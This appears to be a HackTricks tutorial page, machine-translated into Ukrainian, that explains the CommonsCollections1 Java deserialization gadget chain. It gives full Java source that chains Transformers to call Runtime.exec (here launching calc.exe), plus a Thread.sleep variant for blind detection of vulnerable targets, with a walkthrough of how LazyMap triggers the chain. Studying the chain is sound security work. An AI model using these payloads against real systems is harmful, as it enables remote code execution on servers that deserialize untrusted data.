CommonsCollection1 Payload - Java Transformers to Rutime exec() and Thread Sleep

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Java Transformers для виклику Rutime exec()

У декількох місцях ви можете знайти пакунок десеріалізації Java, який використовує трансформатори з Apache common collections, подібний до наступного:

import org.apache.commons.*;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.util.Map;
import java.util.HashMap;

public class CommonsCollections1PayloadOnly {
public static void main(String... args) {
String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), //(1)
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
), //(2)
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
), //(3)
new InvokerTransformer("exec",
new Class[]{String.class},
command
) //(4)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);

//Execute gadgets
lazyMap.get("anything");
}
}

Якщо ви нічого не знаєте про навантаження десеріалізації Java, може бути важко зрозуміти, чому цей код виконає calc.

По-перше, вам потрібно знати, що Трансформер в Java - це щось, що отримує клас і перетворює його на інший. Також цікаво знати, що навантаження, яке тут виконується, еквівалентне до:

Runtime.getRuntime().exec(new String[]{"calc.exe"});

Або точніше, що буде виконано в кінці, буде:

((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});

Як

Отже, як перший політ відповідає тим "простим" однорядковим командам?

По-перше, ви можете помітити в політі, що створюється ланцюжок (масив) трансформацій:

String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
//(1) - Get gadget Class (from Runtime class)
new ConstantTransformer(Runtime.class),

//(2) - Call from gadget Class (from Runtime class) the function "getMetod" to obtain "getRuntime"
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),

//(3) - Call from (Runtime) Class.getMethod("getRuntime") to obtain a Runtime oject
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),

//(4) - Use the Runtime object to call exec with arbitrary commands
new InvokerTransformer("exec",
new Class[]{String.class},
command
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

Якщо ви прочитаєте код, ви помітите, що якщо ви якимось чином ланцюжите трансформацію масиву, ви зможете виконати довільні команди.

Таким чином, як ці трансформації ланцюжаться?

Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
lazyMap.get("anything");

У останньому розділі наведено, що створюється об'єкт Map. Потім функція decorate виконується з LazyMap з об'єктом карти та ланцюжковими трансформаторами. З наступного коду видно, що це призведе до того, що ланцюжкові трансформатори будуть скопійовані всередину атрибуту lazyMap.factory:

protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}

І потім виконується велике фінале: lazyMap.get("anything");

Ось код функції get:

public Object get(Object key) {
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

І ось код функції transform

public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}

Так отже, пам'ятайте, що всередині фабрики ми зберегли chainedTransformer, а всередині функції transform ми проходимо через всі ці зв'язані трансформери і виконуємо їх один за одним. Смішна річ у тому, що кожен трансформер використовує object як вхідні дані і об'єкт - це вихідні дані від останнього виконаного трансформера. Тому всі трансформації зв'язані виконанням шкідливого навантаження.

Загальний огляд

В кінці кінців, через те, як lazyMap керує зв'язаними трансформерами всередині методу get, це схоже на те, ніби ми виконуємо наступний код:

Object value = "someting";

value = new ConstantTransformer(Runtime.class).transform(value); //(1)

value = new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", null}
).transform(value); //(2)

value = new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
).transform(value); //(3)

value = new InvokerTransformer("exec",
new Class[]{String.class},
command
).transform(value); //(4)

Зверніть увагу, що value є вхідним параметром кожного перетворення і вихідним результатом попереднього перетворення, що дозволяє виконання однорядкового виразу:

((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});

Зауважте, тут було пояснено гаджети, які використовуються для навантаження ComonsCollections1. Але залишається невідомим, як все це починає виконуватися. Ви можете побачити тут, що ysoserial, для виконання цього навантаження використовує об'єкт AnnotationInvocationHandler, оскільки при десеріалізації цього об'єкта, він викличе функцію payload.get(), яка виконає всю навантаження.

Java Thread Sleep

Це навантаження може бути корисним для виявлення вразливості в мережі, оскільки воно виконає затримку, якщо така є.

import org.apache.commons.*;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.Map;
import java.util.HashMap;

public class CommonsCollections1Sleep {
public static void main(String... args) {
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Thread.class),
new InvokerTransformer("getMethod",
new Class[]{
String.class, Class[].class
},
new Object[]{
"sleep", new Class[]{Long.TYPE}
}),
new InvokerTransformer("invoke",
new Class[]{
Object.class, Object[].class
}, new Object[]
{
null, new Object[] {7000L}
}),
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);

//Execute gadgets
lazyMap.get("anything");

}
}

Додаткові Гаджети

Ви можете знайти більше гаджетів тут: https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Last updated